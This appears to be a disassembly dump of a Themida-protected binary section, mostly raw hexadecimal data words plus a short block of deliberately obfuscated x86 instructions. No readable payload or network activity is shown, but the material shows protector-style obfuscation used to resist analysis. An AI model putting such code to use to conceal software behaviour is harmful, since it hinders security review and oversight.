		dd 83000000h, 0E22D71BDh, 840F0005h, 95h, 0B9BD83h, 0F0005E2h
		dd 1185h, 4D958B00h, 8105E223h,	1CF8C2h, 0FE900h, 958D0000h
		dd 5E231DDh, 8134528Bh,	0D4C340C2h, 2D95893Bh, 8305E219h
		dd 0E2192DBDh, 840F0005h, 55h, 192D9D8Bh, 0C38305E2h, 89038B4Ch
		dd 0E53D8E85h, 2D9D8B05h, 8305E219h, 38B50C3h, 3D928589h
		dd 9D8B05E5h, 5E2192Dh,	8B54C383h, 9E858903h, 8B05E53Dh
		dd 0E2192D9Dh, 58C38305h, 8589038Bh, 5E53DA2h, 192D9D8Bh
		dd 0C38305E2h, 89038B5Ch, 0E53D9685h, 85BD8305h, 5E206h
		dd 0D850Fh, 0BD830000h,	5E22D71h, 68840F00h, 0FF000000h
		dd 0E53DA6B5h, 9AB5FF05h, 0FF05E53Dh, 0E53D96B5h, 0A2B5FF05h
		dd 0FF05E53Dh, 0E53D9EB5h, 92B5FF05h, 0FF05E53Dh, 0E53D8EB5h
		dd 88858D05h, 5005E53Dh, 3DC0858Dh, 8D5005E5h, 0E22D8D85h
		dd 95FF5005h, 5E22C29h,	6A24C483h, 0AA858D40h, 5005E53Dh
		dd 2D8D858Dh, 6A5005E2h, 6D95FF00h, 6A05E22Ah, 595FF01h
		dd 8B05E204h, 1718EBC1h, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh
aLS		db '`‹\$$è',0           ; DATA XREF: Themida_:004EF118o
		align 4
		dd 815D0000h, 0E54147EDh, 4C26105h, 0FFE6E900h
		db 2 dup(0FFh)
aA_2		db '`aÂ',8,0            ; DATA XREF: Themida_:004EE7F8o
		db 0E9h
		dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5E5417Fh,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5E54183h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 2D858B00h, 8605E219h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 5E21461h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 2D858B00h, 0C605E219h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0E2192D85h, 0A188605h
		dd 0F6850FDBh, 0C7FFFFFFh, 0E215C985h, 5, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5E215C9h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 5E54124h, 1
		dd 4C010F50h, 858FFE24h, 5E54128h, 4120858Dh, 0BD8D05E5h
		dd 5E54128h, 23E93889h,	8D000000h, 0E231DD85h, 38408B05h
		dd 46F31705h, 2085899Bh, 8D05E541h, 0E231DD85h,	3C408B05h
		dd 41248589h, 858D05E5h, 5E5413Dh, 14618589h, 87E905E2h
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh
		db 0C2h, 8, 0
byte_52208F	db 52h			; DATA XREF: Themida_:004EFA6Co
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5E543B0h
		dd 1A898589h, 858D05E2h, 5E543D8h, 1DB58589h, 858D05E2h
		dd 5E54400h, 0CE98589h,	806005E2h, 0C08B85DEh, 0FB8B6660h
		dd 5870Fh, 5CB80000h, 6132968Fh, 1EA9BD83h, 750005E2h
		dd 5BD8309h, 5E218h, 53501974h,	0EB8C08Bh, 89000004h, 0E2315D85h
		dd 0FA9D8D05h, 0FF05E4B2h, 83585BD3h, 0E21805BDh, 17740005h
		dd 0EB85350h, 89000004h, 0E2315D85h, 0E99D8D05h, 0FF05E4AFh
		dd 6A585BD3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0D514C356h, 6AF82E50h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 5118C352h, 665D00E1h, 6AC08B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 62FAC353h
		dd 0DB7313BEh, 0FD74A33h, 88h, 0A1BD8300h, 5E21Ch, 45840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 323DFBC3h, 63B2036Ah, 230E9h, 0FE900h, 93C30000h
		dd 1C7A9B34h, 5A914859h, 9C1D8946h, 0BF0F60B5h,	0DE87B8F9h
		dd 8C617ED2h, 12E8FCDFh, 61000000h, 0AF052D4Ah,	6FF67C1Ch
		dd 48294E6Fh, 0B11364C1h, 0CFB70F47h, 0C7F7665Ah, 850F0004h
		dd 1E9h, 68D0Fh, 0C6810000h, 56BB5B7Eh,	0BFh, 0A5F28000h
		dd 471E9D8Dh, 6A05E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 48B8A7C3h, 0EE806006h, 11E975h
		dd 0E78E0000h, 7A322D39h, 71B1352Dh, 0FEE127ACh, 9356EB8Fh
		dd 6650D68Bh, 8A93D78Bh, 35FF64D0h, 0
		dd 0D8D0Fh, 0E8510000h,	5, 7A594E5Fh, 64595E02h, 2589h
		dd 5CBE0000h, 8B127823h, 50006AC4h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E7046A9Dh, 0EB01CD9Fh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BE66D739h, 6AF7AEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30B172C3h
		dd 0F56F0FFh, 48Fh, 0C9B96600h,	0B10BE72h, 13E94B5Dh, 3D000000h
		dd 0EB5558F7h, 4532C604h, 0B535C986h, 1D3E859Bh, 8F6467ABh
		dd 5, 0CBB70F00h, 0BA04C483h, 679CA187h, 840FC00Bh, 0BDh
		dd 18E0Fh, 61F80000h, 4B56D681h, 0BD8D3520h, 5E27219h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6EC35747h
		dd 0B5943815h, 116971E4h, 1B85Fh, 0E7FF0000h, 8E9h, 0A79F0000h
		dd 991A332Bh, 5C8B5787h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
		dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E979C357h
		dd 80E4CC7Bh, 0BF0FE0D9h, 0D78B60F1h, 94C7BE66h, 1A8F0F61h
		dd 0F000000h, 1489h, 0FE900h, 88B10000h, 0BC056811h, 0E1221411h
		dd 8BA33EB3h, 0BA666180h, 0C08BD1A7h, 0BD83CA8Bh, 5E21EA9h
		dd 83097500h, 0E21805BDh, 19740005h, 0C08B5350h, 40EB8h
		dd 0D5858900h, 8D05E21Dh, 0E4B3619Dh, 5BD3FF05h, 5BD8358h
		dd 5E218h, 53501774h, 40EB8h, 0D5858900h, 8D05E21Dh, 0E4B0029Dh
		dd 5BD3FF05h, 0C9B70F58h, 8E9h,	71ACFB00h, 20DBA241h, 55006A83h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0C6818037h, 75E65F77h, 850FC08Bh, 6,	5928EE81h, 0C28B1130h
		dd 10E8h, 33310600h, 8FF29238h,	0C130933Fh, 0BA8B0DBCh
		dd 5B1DB6C3h, 0CE8h, 30D0CE00h,	0F9CE3EC4h, 109E35F8h
		dd 14E996h, 0E6AF0000h,	0CC923AB6h, 3F3071EDh, 0A6A830Ah
		dd 0BFC366C0h, 815E05F5h, 5BD2C3h, 0D2816600h, 68C3A4h
		dd 59000000h, 660B048Bh, 0F081D18Bh, 19A688BDh,	15C7BF66h
		dd 0A7F7C081h, 8E0F683Eh, 2, 0F08117B2h, 77266D8h, 0EAA4BA66h
		dd 660B0489h, 4A08E781h, 0CE8h,	0FF579C00h, 0E594E8D1h
		dd 99C3E836h, 0DF8166BEh, 835F969Bh, 0B70F04E9h, 0D4F981F1h
		dd 0FFFFFA4h, 0FFFFA785h, 0EBF08AFFh, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0B9858B24h
		dd 8D05E200h, 0E5933285h, 8B088B05h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0E548DA8Dh, 55BD8305h, 5E226h, 0F840Fh, 6A600000h
		dd 0B995FF00h, 6105E20Ah, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	48D68589h, 0B58B05E5h, 5E548DAh
		dd 6610CEC1h, 8B027289h, 0E548DAB5h, 72896605h,	858B61FCh
		dd 5E548D6h, 0C5958DC3h, 8905E211h, 0E2192D95h,	35958905h
		dd 0FF05E21Fh, 0E21F3585h, 4985C605h, 5305E20Ah, 0B148D868h
		dd 2DB5FFFCh, 8D05E226h, 0E239ED85h, 89D0FF05h,	0E20AB985h
		dd 57858D05h, 8905E541h, 0E20B4185h, 0E900EB05h, 5C4h
		dd 5B8E9h, 4A8F6800h, 5CE905E5h, 68FFFD36h, 5E54BB7h, 0FD3652E9h
		dd 4C4468FFh, 48E905E5h, 68FFFD36h, 5E54D09h, 0FD363EE9h
		dd 4E0F68FFh, 34E905E5h, 8EFFFD36h, 0E3464C48h,	562BB7F3h
		dd 0B1F01EA2h, 0E75A4046h, 9522A8F6h, 662CD1EEh, 0CCD20978h
		dd 357963C6h, 991FD8A9h, 9730717Dh, 0F9FDF0A6h,	88F4367Fh
		dd 0FC18B9FBh, 18B92E2Fh, 0B9A6DAFCh, 0FF74FC18h, 2BFC18B9h
		dd 0FC18B917h, 18B9AEC3h, 0DA1D5C7Ch, 0D10649DCh, 744D9ECBh
		dd 0A7A831EFh, 7E7C18B9h, 1255D401h, 1441A4E8h,	0B983B415h
		dd 0E5527C18h, 42FC5DC4h, 0B681FAD9h, 2F064C21h, 0EEFF7454h
		dd 1D5CC3B8h, 1B380FDFh, 9D73E207h, 15C7BA20h, 36555983h
		dd 0C43D4885h, 53F46B5Fh, 84188B2Fh, 2FEC0966h,	3A7E7D37h
		dd 432046Fh, 0F7E10000h, 0A25217B3h, 5189F8E6h,	0F5E0414Dh
		dd 0A5562BB7h, 9D44F31Fh, 0C9D5DB00h, 97338178h, 7E6428D2h
		dd 0C2C8CE0Bh, 1546E302h, 0CCF9FDF3h, 696E8541h, 0B2EFB329h
		dd 0B9700E6Bh, 352FFC18h, 8604F541h, 36B02918h,	3A223465h
		dd 0A8EEEBD5h, 7CE70673h, 4B0A3D7Bh, 980E0F8Bh,	9E8CA35Eh
		dd 5C87AE3Fh, 488B129Eh, 7FFC0F8Dh, 0BFCED208h,	6FD1A507h
		dd 69D5A10Bh, 0E6AC2A70h, 3A04582Bh, 37D80h, 696EBA00h
		dd 0C37FD823h, 0E8FC18B9h, 9F58A69Eh, 0B0F1FD19h, 18B92617h
		dd 3973E4FCh, 0C8CC08DFh, 1B3A784Fh, 9CEF44C2h,	0EA11A755h
		dd 0DF1441A4h, 0DCF8E33h, 0C0393881h, 0CE56A3FAh, 0C649F8E6h
		dd 185EF061h, 174A21FCh, 0B40DBDFh, 4C4A8FB2h, 0C6377639h
		dd 7960EFF8h, 73CAF2Bh,	0F5FC185Eh, 5E64D572h, 0C6BDFC18h
		dd 317F7AE5h, 5C701DEAh, 4C0DAA2Dh, 9EFC185Eh, 185E3839h
		dd 0F492E9FCh, 46E32EBFh, 1FA5EF8h, 849EE13h, 0C2F9FA5Eh
		dd 0FA5EF465h, 0C8562DF9h, 74F90673h, 37045EEAh, 30AF352h
		dd 1FD90000h, 0CA0A7F9Bh, 7961C0CEh, 1DD8A935h,	0CD0E739Fh
		dd 0C5ACDBC7h, 11BD03F8h, 0FF1BA950h, 464C508Ah, 2AB0F6E3h
		dd 0FD7EDB2Ah, 14F9FDF2h, 696EAD69h, 6099D823h,	5980C35Ah
		dd 8A119541h, 5D8E1441h, 0FC18B9E0h, 18C93F34h,	0C0CE0DFCh
		dd 0D7DD1E41h, 9FA607B4h, 18A9BDB2h, 7054F9FCh,	0CD0F4EF1h
		dd 5EFBBAC1h, 0FC18A91Dh, 0B9027F34h, 0FACFC250h, 0E5145501h
		dd 1CD34CDFh, 0ACE4339Ah, 0A0CD3A77h, 45F4A27h,	7D147F0Ah
		dd 2A000002h, 9FE2E8ACh, 0F2B75357h, 2D1CBA06h,	83E6ECAAh
		dd 314E545Ah, 2904D52h,	6836A584h, 0D1DD1F62h, 5837435h
		dd 0BACD599h, 0F9FDF54Ah, 0AE509A9Bh, 0FB82A839h, 0ECFD6E7Ah
		dd 0B83C7465h, 0C18087FCh, 2E35961Ch, 117432A7h, 5602CAEh
		dd 289F1DDAh, 369FEEB2h, 0BAF84034h, 1F64430h, 0BC111FBBh
		dd 133A0488h, 1E2h, 632FADECh, 3BAD318h, 14921815h, 88CEBC0Dh
		dd 0FC18B9FBh, 38F13C9h, 95F0BC3Eh, 8DCE6BEAh, 44FC18B9h
		dd 6993DEEFh, 0AACC625h, 820ECC3Ah, 13C31E04h, 51683A04h
		dd 52000000h, 4BE239AEh, 9835A45h, 765AC7B0h, 811056F3h
		dd 3C0B01FAh, 5F4D62F7h, 31107504h, 1B8h, 0A9357167h, 72981CD8h
		dd 0DBC7CB0Fh, 0AD296F66h, 75911FDCh, 558617FEh, 0FBFE434Fh
		dd 0A25829B5h, 48B1F01Eh, 69984442h, 0FDF48FC0h, 1FDF46F9h
		dd 0F0F20B8h, 2FA78942h, 4FB63E6Bh, 18E161EAh, 0B0CBA0FCh
		dd 0DBC7CB31h, 0D02B7166h, 0D0577DE7h, 0E1470851h, 0A19EFC18h
		dd 0BCFF0218h, 0E857703Ch, 4120AEF2h, 2C6F1298h, 720D30A8h
		dd 3FC5580Eh, 1352F9C2h, 4D3CDAE8h, 73F8038Fh, 0A6973071h
		dd 7FFC18D7h, 0A2880100h, 0FA33A11Eh, 3DA4CF18h, 0E2D5F1BDh
		dd 8E315478h, 0F58464Ah, 0FC189072h, 2DC11780h,	80F0DF8Eh
		dd 0EDC14E27h, 9149DD7Ah, 8BE001FAh, 0AF21D594h, 0FAE0490Ah
		dd 76A398F9h, 464AB0F3h, 8373B627h, 5677E407h, 8105F1B0h
		dd 0BD01FB7Ah, 0AEF4E76Eh, 12E4145Fh, 0FAE084B5h, 0A9E65DF9h
		dd 0F750D352h, 0F9FAE046h, 2E07A09Fh, 0BD1A0D21h, 418BD45h
		dd 41AAD7ACh, 8FE7D4Ch,	0B2127Dh, 77610000h, 22D29733h
		dd 0D1097866h, 7560C1CDh, 25D6AB37h, 1DC4739Fh,	49555B80h
		dd 17B301F8h, 0FEE4A852h, 42484E8Bh, 95C66382h,	4CF9FDF7h
		dd 696E05C1h, 6099D823h, 0CEB3C35Ah, 0B969EA4Fh, 0C3B8FC18h
		dd 368470FAh, 0C544FBC1h, 18B9F364h, 745522FCh,	1335E896h
		dd 0D9983A04h, 0CF0C9F23h, 1CB1FEh, 88B50000h, 0FC18B9FAh
		dd 0F8B11C6h, 26DAh, 0DD185B00h, 8A82BEDFh, 0F9643A9Dh
		dd 0FB881AE0h, 9FC18B9h, 0B9302186h, 8AE1FC18h,	0C3C90E31h
		dd 0DDD91D5Ch, 75501E0Ch, 498DCC09h, 2CBD3E4Dh,	0BC5h
		dd 95D54200h, 0F39BEF5h, 4D77A13Ah, 0D92C686Eh,	0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 4EC81F2h, 89000000h, 0E789243Ch
		dd 4C781h, 0EF830000h, 243C8704h, 30DF685Ch, 2C890000h
		dd 5EC06824h, 34890000h, 22B46824h, 14890000h, 7C14BA24h
		dd 814A6D42h, 5D3233EAh, 5AD58967h, 412568h, 24248900h
		dd 4240483h, 0BA52555Eh, 59662077h, 4245429h, 8468F5Ah
		dd 77084681h, 0FF596620h, 835E2434h, 34FF04C4h,	0C4835D24h
		dd 30B9E904h, 0BF84FFFDh, 0B000DE4Ch, 41AB2746h, 4EE6B8D4h
		dd 0C50305E5h, 20EBD18Bh, 8 dup(0)
		dd 50AE9h, 4FEE900h, 34680000h,	0E905E551h, 0FFFD306Fh
		dd 0E551CB68h, 3065E905h, 4468FFFDh, 0E905E553h, 0FFFD305Bh
		dd 0E553A368h, 3051E905h, 2BADFFFDh, 0D61E636Fh, 857534D2h
		dd 29AC9D39h, 0D9026763h, 0D1B0CFCBh, 5810FCCh,	0E3EFB524h
		dd 4A505C9Eh, 1E8402F7h, 0C98A2F56h, 18F9FDF6h,	6A6ED115h
		dd 0C57AC726h, 0D67C18B9h, 0B06DA490h, 1FBA0416h, 40h
		dd 0B9FA8823h, 93B0FC18h, 0B963D475h, 0C5B2FC18h, 0B6309988h
		dd 4201FE08h, 0B1D4DA03h, 0BBC2C60Eh, 0A6E4C532h, 5F941AC3h
		dd 4F00A928h, 86F9FDF6h, 0F70A10A9h, 2D7844B4h,	31B01FA8h
		dd 0CA000000h, 18B9FB88h, 8E4609FCh, 617AF30Ah,	0A0A78B88h
		dd 0B9D79821h, 310EFC18h, 6C069A8h, 0C901FE08h,	0C7357D78h
		dd 0F47F8EFBh, 0F4618400h, 9E4442BFh, 0AB2C6A6Eh, 71AEF4E7h
		dd 1174A12Ah, 18B93C48h, 0FE7617Ch, 0F5BB2063h,	0DD842596h
		dd 0AFEE911Dh, 0D005602Eh, 492DDA47h, 0AE3F8460h, 61C649F8h
		dd 7C1816F0h, 0E6174A21h, 2C360FD8h, 8BB80100h,	627C1866h
		dd 36931215h, 7C180605h, 3F4667DCh, 594543B4h, 0AADDF19Eh
		dd 5C72ECEBh, 99693F7Eh, 0ED6EBDEAh, 36F455DCh,	6981FA30h
		dd 91AE8B12h, 8279FA33h, 83C27044h, 0F0765753h,	0BFE6991Dh
		dd 8105F1B0h, 0ABE8F17Ah, 65h, 577B189Fh, 0EBEE51D0h, 1A612DAFh
		dd 0FA4364D1h, 1FE0226h, 0C4FF249h, 1B5ACDCBh, 1F0BDCE2h
		dd 82EFAD2Ah, 45C972Eh,	0B539186Dh, 5A000002h, 8FF2189Ch
		dd 0E2474347h, 5D2CAAF6h, 0B3F61C9Ah, 215E444Ah, 32807D42h
		dd 9826D594h, 0C1CD0F72h, 357364C5h, 0FB5CA5A9h, 0F9FDE87Ah
		dd 8E20EAABh, 280h, 266A6EB4h, 0B9C57AC7h, 9C11FC18h, 48FC18B9h
		dd 0FC18B938h, 18B94DE2h, 0B9E499FCh, 330FC18h,	47BC18B9h
		dd 3CD42ADAh, 8339B0B7h, 1276D356h, 0B5C1FD12h,	72DE4BFEh
		dd 66B0EDE6h, 642F3697h, 90EBB725h, 0A4A9825Bh,	1DDE8180h
		dd 6ECB3697h, 0C41F9820h, 2B971C6Bh, 3C3E7A38h,	21E0669h
		dd 33A50000h, 0DE166B77h, 8D4D3CDAh, 31A48501h,	0E11A6F6Bh
		dd 0D9B837D3h, 0D8917C4h, 0EBF7BD3Ch, 0B2586496h, 68C0ACFh
		dd 0D182275Eh, 0F9FDE8h, 696ED91Dh, 62EFD823h, 0FF58DB4Eh
		dd 0FC18B97Eh, 47BFD897h, 2A7AD4CCh, 0D475BC0Dh, 1FEFFCEh
		dd 1D6C6AC1h, 7435D1DDh, 14ED3884h, 0B3245B0Fh,	92F3759Ch
		dd 1D84254Dh, 18DE0EBCh, 0B46DFA04h, 0FE164FF7h, 61840AF3h
		dd 0F82EBFF4h, 0AFC40783h, 5DF7D44Ah, 0BDCE01Ah, 6392D32h
		dd 8A16C487h, 0FBD6E831h, 72C90A32h, 4D4B8CCFh,	5C629BDAh
		dd 2DAA9F8Bh, 84151C6Fh, 93200507h, 46AF3854h, 0EDAA7619h
		dd 21D6F09Dh, 8C6DF29Bh, 0FEF04D22h, 0BD399E81h, 54104C49h
		dd 0B029681Fh, 5C9DECEAh, 544CF5Eh, 0ABF4D5D1h,	0EB8F29A6h
		dd 0F6695DC2h, 69985551h, 70F74C16h, 0C4C2C831h, 0D7367465h
		dd 0ACEAEDACh, 0C33D221Bh, 0F7505480h, 0E1646646h, 0FD089444h
		dd 2865D278h, 0D7569039h, 88F91C82h, 0F5104D53h, 7A9697ACh
		dd 724284DFh, 6642E23Fh, 19495Dh, 47C60000h, 7A9A71E2h
		dd 94CBA0DFh, 0B88E5F65h, 18D6FB88h, 1129FCh, 0AE5D0000h
		dd 0B9C98A2Fh, 2318FC18h, 0D33C319Ah, 1875FC18h, 77D0577Bh
		dd 1FE086Bh, 0C552D5A2h, 1B6537CAh, 143F882Ch, 0EF92B6DBh
		dd 1F18284Ah, 678CFB04h, 0FE79F5B5h, 0A560C3A6h, 2A000000h
		dd 9FE2E8ACh, 0F2B75357h, 2D1CBA06h, 83E6ECAAh,	314E545Ah
		dd 2904D52h, 6836A584h,	0D1DD1F62h, 5837435h, 0BACD599h
		dd 0F9FDEA4Ah, 18509A9Bh, 77D0577Bh, 1FE086Bh, 79B6D5A2h
		dd 0CE71F0D4h, 0B1760459h, 3ED5464Ch, 0ABF4D556h, 41F587Fh
		dd 1A5CD996h, 9DFE7A39h, 46A988h, 0BCD0000h, 0B63E038Fh
		dd 6595D4F2h, 9CCBD59h,	0B9220783h, 0B150EFEBh,	25A1EFECh
		dd 830F9544h, 6A703CBEh, 3EA4E217h, 0E96ACF36h,	38F9FDEAh
		dd 39AEB175h, 1AC17214h, 53C47194h, 1FA80ADFh, 3B0h, 9DA7CA00h
		dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh
		dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 68BE68F2h
		dd 0C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		mov	edi, 65160E0h
		dec	edi
		shl	edi, 6
		dec	edi
		push	ebp
		mov	ebp, 91BD787Ch
		xor	edi, ebp
		pop	ebp
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		push	eax
		add	dword ptr [esp], 505B0388h
		pop	ebx
		sub	ebx, 505B0388h
		mov	[edi+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dw 3103h
		dd 0E5540EB8h, 8BC50305h, 51E9C8h, 8B600000h, 3242474h
		dd 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h, 0B70F064Eh
		dd 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch, 83000000h
		dd 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h,	8C261h
		dd 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh, 9FD3Eh
		dd 10E8h, 34A2F000h, 0C58649A8h, 6F7C8344h, 6951D095h
		dd 5BEE8A31h, 3570B966h, 65D4C381h, 85B50000h, 0DE9D22Bh
		dd 58000000h, 2ED1ED2Ch, 0B866D76Fh, 0EF84C81h,	0B51A34FFh
		dd 12E95FBFh, 7000000h,	53A0A997h, 98357A6Ah, 5FECD01Ah
		dd 4BB3DC9Ah, 77C78108h, 0E9031E87h, 12h, 0F18FE45Bh, 0E10EBC6Ch
		dd 30858DA7h, 1F57BC63h, 0F7810367h, 7F1ED5EBh,	81F2B70Fh
		dd 0DC849EC7h, 57EE8A2Ch, 13048FFCh, 0AB28B866h, 83F1B70Fh
		dd 0E18A03EAh, 0F4FA814Ah, 0FFFFF9Ah, 1885h, 0C7B70F00h
		dd 28E9h, 0E1CD1000h, 0BF098AA4h, 79D7F8FBh, 99604056h
		dd 21F6812Dh, 0E93715EEh, 0FFFFFF74h, 36F9AF8h,	0BAF9F008h
		dd 4DE27A39h, 0D9E9FAh,	1D200000h, 0C12C0FBEh, 0CFDF2F82h
		dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h
		dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h
		dd 389382CDh, 3C000000h, 40000000h, 94000000h, 5000000h
		dd 1000000h, 28000000h,	200000Ah, 20h dup(0)
		dd 0BA000000h, 0E948321Ch, 1F11h, 0E558B768h, 2959E905h
		dd 0B068FFFDh, 0E905E559h, 0FFFD294Fh, 0E55AC568h, 2945E905h
		dd 0B168FFFDh, 0E905E55Bh, 0FFFD293Bh, 0E55CB068h, 2931E905h
		dd 6B68FFFDh, 0E905E55Dh, 0FFFD2927h, 0E55E3668h, 291DE905h
		dd 0DA68FFFDh, 0E905E55Eh, 0FFFD2913h, 0E5620F68h, 2909E905h
		dd 6E68FFFDh, 0E905E562h, 0FFFD28FFh, 0E5639168h, 28F5E905h
		dd 7568FFFDh, 0E905E566h, 0FFFD28EBh, 0E56AA068h, 28E1E905h
		dd 0FA68FFFDh, 0E905E56Dh, 0FFFD28D7h, 0E56F4D68h, 28CDE905h
		dd 0C368FFFDh, 0E905E56Fh, 0FFFD28C3h, 0E5701A68h, 28B9E905h
		dd 8068FFFDh, 0E905E570h, 0FFFD28AFh, 0E5715C68h, 28A5E905h
		dd 0B068FFFDh, 0E905E572h, 0FFFD289Bh, 0E573A468h, 2891E905h
		dd 0EBEDFFFDh, 965E23AFh, 45B5F412h, 0E9EC5D79h, 994227A3h
		dd 91708F0Bh, 0C5C1CF0Ch, 0A32F7564h, 0A901CDEh, 0DEC4C237h
		dd 94AEF16h, 0D8F9FDEEh, 696E9155h, 1659D823h, 0D5BCDDE3h
		dd 55684E5Dh, 46B3BE0Fh, 8C915A40h, 7A73004h, 91CE1115h
		dd 602EAFEEh, 88F7D005h, 0FA084B2Fh, 96F54201h,	612FACEFh
		dd 5742FF58h, 1751F9FAh, 0FD35E81Fh, 0D9983FE6h, 0C14E9F23h
		dd 34h,	577B18E5h, 0D1C777D0h, 211E01FAh, 0FBFCBF3Eh, 5CED6EBDh
		dd 0F9FAA11Bh, 0C16C7DCAh, 0FAA1CB78h, 1659D8F9h, 5802DBE1h
		dd 2BE8256Ch, 0D8473FE6h, 7B000000h, 0A3E7EFAEh, 0FF70D958h
		dd 16FC18B9h, 94DBEC59h, 9FC62563h, 8A35505Eh, 3324854Dh
		dd 0E2FC18B9h, 0E653579Fh, 46D352A9h, 0DCFE57B1h, 0B2044762h
		dd 8D4D1A23h, 0FC87750h, 66DA0D89h, 52FC186Bh, 86FBE7A5h
		dd 0C7304B51h, 56F3765Ah, 1FA313Ch, 0F9F21857h,	3E7A7A54h
		dd 4EF95EC1h, 0A7041E60h, 41D659C8h, 0D67384D2h, 0F7DF1765h
		dd 8656C7BCh, 85CC1DD0h, 0FD4C4A58h, 0C975B200h, 8AFE7A92h
		dd 1C6294FFh, 1FD90000h, 0CA0A7F9Bh, 7961C0CEh,	1DD8A935h
		dd 0CD0E739Fh, 0C5ACDBC7h, 11BD03F8h, 0FF1BA950h, 464C508Ah
		dd 2AB0F6E3h, 0FD7EDB2Ah, 14F9FDE1h, 6D6EAD69h,	99ECAA2Dh
		dd 86FBE75Ch, 22699751h, 0A0FBC930h, 0B9A0222Bh, 0ECAFD20Fh
		dd 1045A0ECh, 0AE15D3B7h, 47A6ECEFh, 57FCB516h,	0EC4DCC73h
		dd 0FC18B96Bh, 0B5FCCDBAh, 0FAD12214h, 6786FD01h, 3A7E7D3Ch
